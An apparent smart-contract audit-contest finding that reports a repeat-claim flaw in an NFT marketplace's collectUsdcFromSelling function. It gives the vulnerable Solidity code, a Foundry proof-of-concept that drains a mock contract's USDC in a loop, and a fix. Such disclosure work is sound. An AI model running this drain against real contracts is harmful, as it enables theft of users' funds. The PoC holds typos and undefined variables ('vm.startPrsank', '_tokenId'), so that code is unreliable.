NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

collectUsdcFromSelling has no protection again multiple calls allowing malicius user to drain almost all usdc liquidity from the protocol selling one NFT

Author Revealed upon completion

Root + Impact

Description

  • After a successful NFT sale, the seller should be able to call collectUsdcFromSelling() exactly once to retrieve the sale proceeds (minus fees) plus their minting collateral. After collection, the seller should not be able to claim funds again.

  • collectUsdcFromSelling() never resets collateralForMinting[listing.tokenId] to 0, nor marks the listing as "already claimed". Since the only guard is require(!listing.isActive) — which remains false after a sale — a malicious seller can call the function repeatedly, draining (listing.price - fees + lockAmount) USDC from the contract on each iteration until the contract balance is fully exhausted, stealing funds belonging to other users (their collateral and pending sale proceeds).

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
@> //It doesn't check if usdc have been already collected
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Risk

Likelihood:

  • Every sale followed by `collectUsdcFromSelling()` call. Once a listing transitions to `isActive = false` (after `buy()` or `cancelListing()`), the seller can repeatedly invoke `collectUsdcFromSelling()` without any state reset preventing re-entry.Reason 2

Impact:

  • Complete fund drainage. A malicious seller can drain the entire contract USDC balance by calling `collectUsdcFromSelling()` multiple times until the contract is empty.

  • Other users' minting collateral and pending sale proceeds become vulnerable. A single compromised seller can steal funds that belong to legitimate users who are awaiting their own payouts or have locked collateral for minting.


Proof of Concept

This test uses the same setup as the NFTDealersTest file, extended with an additional account: maliciousUser.

Pre-conditions setup: The contract is pre-funded with USDC to simulate a realistic scenario where the protocol has already accumulated a significant balance (e.g. from past fees and sales). The malicious user is whitelisted, mints an NFT, and lists it for sale — both required prerequisites to trigger the attack.

Attack prerequisites: A third-party buyer purchases the NFT from the malicious seller. This makes the listing inactive (isActive = false), which is the final prerequisite needed to call collectUsdcFromSelling.

The attack: Once the listing is inactive, the malicious seller repeatedly calls collectUsdcFromSelling with the same listingId.

Final assertions:

  • The contract is left with less than 100 USDC (exact zero is not reachable due to loop exit condition)

  • All drained funds are confirmed to have been transferred to maliciousUser, accounting for virtually the entire pre-existing contract balance

contract POCsTest is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
string internal constant BASE_IMAGE =
"https://images.unsplash.com/photo-1541781774459-bb2af2f05b55";
error InvalidAddress();
​
uint32 private constant MAX_BPS = 10_000;
​
uint32 private constant LOW_FEE_BPS = 100; // 1%
uint32 private constant MID_FEE_BPS = 300; // 3%
uint32 private constant HIGH_FEE_BPS = 500; // 5%
​
address public userWithCash = makeAddr("userWithCash");
address public userWithEvenMoreCash = makeAddr("userWithEvenMoreCash");
address public maliciusUser = makeAddr("maliciusUser");
​
address public owner = makeAddr("owner");
​
function setUp() public {
usdc = new MockUSDC();
vm.prank(owner);
nftDealers = new NFTDealers(
owner,
address(usdc),
"NFTDealers",
"NFTD",
BASE_IMAGE,
20e6
);
​
usdc.mint(userWithCash, 20e6);
usdc.mint(userWithEvenMoreCash, 200_000e6);
usdc.mint(maliciusUser, 100e6);
}
​
modifier revealed() {
vm.prank(owner);
nftDealers.revealCollection();
_;
}
​
function testSellerCanDrainAllUsdcFromProtocolCallingcollectUsdcFromSellingMultipleTime()
public
revealed
{
uint256 initialMaliciusUserBalance = usdc.balanceOf(maliciusUser);
​
// This mint simulates scenario where the contract has already collected some fees and has a balance of 200_000 USDC
usdc.mint(address(nftDealers), 200_000e6);
​
uint32 price = 1000e6; // 1.000 USDC
vm.prank(owner);
nftDealers.whitelistWallet(maliciusUser);
vm.startPrsank(maliciusUser);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(_tokenId, uint32(_price));
vm.stopPrank();
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), price);
nftDealers.buy(1);
vm.stopPrank();
// after the buy, the contract has collected fees and has a balance of 200_000 USDC + price - fees
uint256 nftDealersBalanceBefore = usdc.balanceOf(address(nftDealers));
// actual amount transferred per collectUsdcFromSelling call:
// listing.price - fees + collateralForMinting (never reset = lockAmount)
uint256 amountPerIteration = uint256(price) - nftDealers.calculateFees(price) + nftDealers.lockAmount();
console2.log("Amount drained per call: ", amountPerIteration);
uint256 numberofIteration = 0;
while (usdc.balanceOf(address(nftDealers)) >= amountPerIteration) {
vm.prank(maliciusUser);
nftDealers.collectUsdcFromSelling(1);
numberofIteration++;
}
console2.log( "Contract balance before collecting: ", nftDealersBalanceBefore);
console2.log( "Contract balance after collecting: ",usdc.balanceOf(address(nftDealers)));
console2.log("Number of iterations to drain: ", numberofIteration);
​
// contract can't be drained to exactly 0, but attacker extracted almost everything
assertLt(usdc.balanceOf(address(nftDealers)), 100e6); // less than 100 USDC left in the contract
// malicius user balance increased by almost all the contract balance
assertGt(usdc.balanceOf(maliciusUser), initialMaliciusUserBalance + nftDealersBalanceBefore - 100e6);
}
}

Recommended Mitigation

Add a claimed boolean field to the Listing struct and set it to true on the first successful call to collectUsdcFromSelling. A require check at the top of the function ensures subsequent calls revert immediately, preventing the seller from collecting the same funds multiple times. Additionally, collateralForMinting[listing.tokenId] should be reset to zero in the same transaction to eliminate any residual state that could be exploited.

struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool claimed;
}
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing storage listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(!listing.claimed, "Funds already claimed");
// ...existing code...
+ listing.claimed = true;
+ collateralForMinting[listing.tokenId] = 0;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!